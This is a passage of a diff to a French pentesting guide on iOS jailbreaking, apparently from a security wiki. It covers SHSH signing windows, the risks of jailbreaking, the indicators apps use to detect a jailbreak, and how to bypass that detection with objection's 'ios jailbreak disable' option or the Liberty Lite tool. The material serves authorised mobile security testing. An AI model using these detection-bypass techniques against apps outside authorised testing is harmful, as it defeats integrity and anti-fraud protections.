-En revanche, les appareils iOS ne peuvent pas flasher des ROM personnalisées en raison de la restriction du bootloader à ne démarrer que des images signées par Apple. **Le jailbreaking iOS** vise à contourner les protections de signature de code d'Apple pour exécuter du code non signé, un processus compliqué par les améliorations de sécurité continues d'Apple.
+En revanche, les appareils iOS ne peuvent pas flasher des ROM personnalisées en raison de la restriction du bootloader à ne démarrer que des images signées par Apple. **Le Jailbreaking iOS** vise à contourner les protections de signature de code d'Apple pour exécuter du code non signé, un processus compliqué par les améliorations de sécurité continues d'Apple.

 ### Défis du Jailbreaking

-Le jailbreaking iOS devient de plus en plus difficile car Apple corrige rapidement les vulnérabilités. **Le downgrade d'iOS** n'est possible que pendant une période limitée après une version, rendant le jailbreaking une affaire sensible au temps. Les appareils utilisés pour les tests de sécurité ne doivent pas être mis à jour à moins que le re-jailbreaking ne soit garanti.
+Le Jailbreaking iOS devient de plus en plus difficile car Apple corrige rapidement les vulnérabilités. **Le Downgrade d'iOS** n'est possible que pendant une période limitée après une version, rendant le jailbreaking une affaire sensible au temps. Les appareils utilisés pour les tests de sécurité ne doivent pas être mis à jour à moins que le re-jailbreaking ne soit garanti.

-Les mises à jour iOS sont contrôlées par un **mécanisme de défi-réponse** (blobs SHSH), permettant l'installation uniquement pour des réponses signées par Apple. Ce mécanisme, connu sous le nom de "fenêtre de signature", limite la capacité de stocker et d'utiliser ultérieurement des packages de firmware OTA. Le site [IPSW Downloads](https://ipsw.me) est une ressource pour vérifier les fenêtres de signature actuelles.
+Les mises à jour iOS sont contrôlées par un **mécanisme de défi-réponse** (blobs SHSH), permettant l'installation uniquement pour les réponses signées par Apple. Ce mécanisme, connu sous le nom de "fenêtre de signature", limite la capacité de stocker et d'utiliser ultérieurement des packages de firmware OTA. Le site [IPSW Downloads](https://ipsw.me) est une ressource pour vérifier les fenêtres de signature actuelles.

 ### Variétés de Jailbreak

@ -94,7 +98,7 @@ Modifier votre appareil comporte des risques, et le jailbreaking doit être abor

 ### Avantages et Risques du Jailbreaking

-Le jailbreaking **supprime le sandboxing imposé par le système d'exploitation**, permettant aux applications d'accéder à l'ensemble du système de fichiers. Cette liberté permet l'installation d'applications non approuvées et l'accès à plus d'API. Cependant, pour les utilisateurs réguliers, le jailbreaking **n'est pas recommandé** en raison des risques potentiels pour la sécurité et de l'instabilité de l'appareil.
+Le Jailbreaking **supprime le sandboxing imposé par le système d'exploitation**, permettant aux applications d'accéder à l'ensemble du système de fichiers. Cette liberté permet l'installation d'applications non approuvées et l'accès à plus d'API. Cependant, pour les utilisateurs réguliers, le jailbreaking **n'est pas recommandé** en raison des risques de sécurité potentiels et de l'instabilité de l'appareil.

 ### **Après le Jailbreaking**

@ -104,22 +108,22 @@ basic-ios-testing-operations.md

 ### **Détection de Jailbreak**

-**Plusieurs applications essaieront de détecter si le mobile est jailbreaké et dans ce cas, l'application ne fonctionnera pas**
+**Plusieurs applications essaieront de détecter si le mobile est jailbreaké et dans ce cas, l'application ne s'exécutera pas**

- Après le jailbreak d'un iOS, **des fichiers et dossiers sont généralement installés**, ceux-ci peuvent être recherchés pour déterminer si l'appareil est jailbreaké.
- Dans un appareil jailbreaké, les applications obtiennent **un accès en lecture/écriture à de nouveaux fichiers** en dehors du sandbox.
- Certains **appels d'API** **se comporteront différemment**.
- La présence du service **OpenSSH**.
- Appeler `/bin/sh` renverra **1** au lieu de 0.
+- Après le jailbreaking, des **fichiers et dossiers sont généralement installés**, ceux-ci peuvent être recherchés pour déterminer si l'appareil est jailbreaké.
+- Dans un appareil jailbreaké, les applications obtiennent un **accès en lecture/écriture à de nouveaux fichiers** en dehors du sandbox
+- Certains **appels API** **se comporteront différemment**
+- La présence du service **OpenSSH**
+- L'appel à `/bin/sh` renverra **1** au lieu de 0

-**Plus d'informations sur la façon de détecter le jailbreak** [**ici**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**
+**Plus d'informations sur la façon de détecter le jailbreaking** [**ici**](https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/jailbreak-detection-methods/)**.**

-Vous pouvez essayer d'éviter ces détections en utilisant **l'option `ios jailbreak disable` d'objection**.
+Vous pouvez essayer d'éviter ces détections en utilisant **l'option `ios jailbreak disable` d'objection**

 ## **Contournement de la Détection de Jailbreak**

- Vous pouvez essayer d'éviter ces détections en utilisant **l'option `ios jailbreak disable` d'objection**.
- Vous pourriez également installer l'outil **Liberty Lite** (https://ryleyangus.com/repo/). Une fois le dépôt ajouté, l'application devrait apparaître dans l'onglet 'Recherche'.
+- Vous pouvez essayer d'éviter ces détections en utilisant **l'option `ios jailbreak disable` d'objection**
+- Vous pourriez également installer l'outil **Liberty Lite** (https://ryleyangus.com/repo/). Une fois le dépôt ajouté, l'application devrait apparaître dans l'onglet ‘Recherche’

 ## Références